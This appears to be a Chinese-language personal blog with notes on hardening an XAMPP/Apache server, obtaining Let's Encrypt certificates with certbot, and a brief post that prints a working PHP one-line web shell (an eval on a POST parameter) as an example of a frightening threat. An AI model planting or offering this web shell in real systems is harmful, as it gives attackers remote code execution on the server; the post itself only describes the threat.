2020年9月13日 星期日

XAMPP...再更新

1.修改apache/conf/httpd.conf

將 <Directory "E:/xampp7410/htdocs"> 中的

Options Indexes FollowSymLinks Includes ExecCGI

改為

Options FollowSymLinks


將ErrorLog改為

ErrorLog "|E:/xampp7410/apache/bin/rotatelogs.exe E:/xampp/htdocs/logs/error-%Y%m%d.log 86400"


將CustomLog改為

CustomLog "|E:/xampp7410/apache/bin/rotatelogs.exe E:/xampp/htdocs/logs/access-%Y%m%d.log 86400" combined

2.修改apache/conf/extra/httpd-ssl.conf

新增

<VirtualHost *:80>
ServerName sclai.cc
ServerAlias www.sclai.cc
Redirect permanent / https://sclai.cc/
</VirtualHost>

<VirtualHost *:443>
DocumentRoot "/xampp/htdocs"
ServerName sclai.cc
ServerAlias www.sclai.cc
SSLEngine on
SSLCertificateFile "conf/cert/cc/cert1.pem"
SSLCertificateKeyFile "conf/cert/cc/privkey1.pem"
</VirtualHost> 

修改
<VirtualHost _default_:443>
DocumentRoot "/xampp/htdocs"
ServerName sclai.cc:443
Redirect permanent / https://sclai.cc/
SSLCertificateFile "conf/cert/cc/cert1.pem"
SSLCertificateKeyFile "conf/cert/cc/privkey1.pem"
SSLEngine on
#其餘全部註解
</VirtualHost>

3.修改php/php.ini

將[Date]改為
date.timezone = "Asia/Taipei"

將;extension=imap改為
extension=imap

2020年8月1日 星期六

用certbot取得憑證

用 Certbot 取得憑證前,必須先在主機安裝 certbot。

取得單一網域名稱之憑證:
在電腦上沒有安裝或啟動web server的情況下,執行:

certbot certonly --standalone

之後輸入要申請的網域名稱,如果成功即可取得憑證。

取的網域名稱下全部名稱之憑證(wildcard):
申請此類憑證,必須擁有DNS內容的管理權限,才可通過檢核。
執行:

certbot certonly --manual --agree-tos -d "*.your.domain" -d your.domain --email email@your.domain --preferred-challenges dns --manual-public-ip-logging-ok --server https://acme-v02.api.letsencrypt.org/directory

之後會要求在DNS中新增一筆TXT紀錄,如:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name
_acme-challenge.your.domain with the following value:

ngXxX_D-aIJkc8q7dgnMEzSBuWCgmvAurP8sshgA40Y

Before continuing, verify the record is deployed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
之後依照指示在DNS中加入_acme-challenge.your.domain的TXT紀錄,如內容所示,確定可以查詢到該筆TXT紀錄後,即可按下enter,如果成功即可取得憑證。
如果 domain 有兩筆以上,會分別顯示多個TXT紀錄,請同時將多個TXT紀錄加到DNS中。

憑證的效期均為90天。

2020年7月8日 星期三

Web shell

可怖的 Web shell ...

有人稱做 PHP 一句話木馬 ...

<?php @eval($_POST['mingchuan']);?>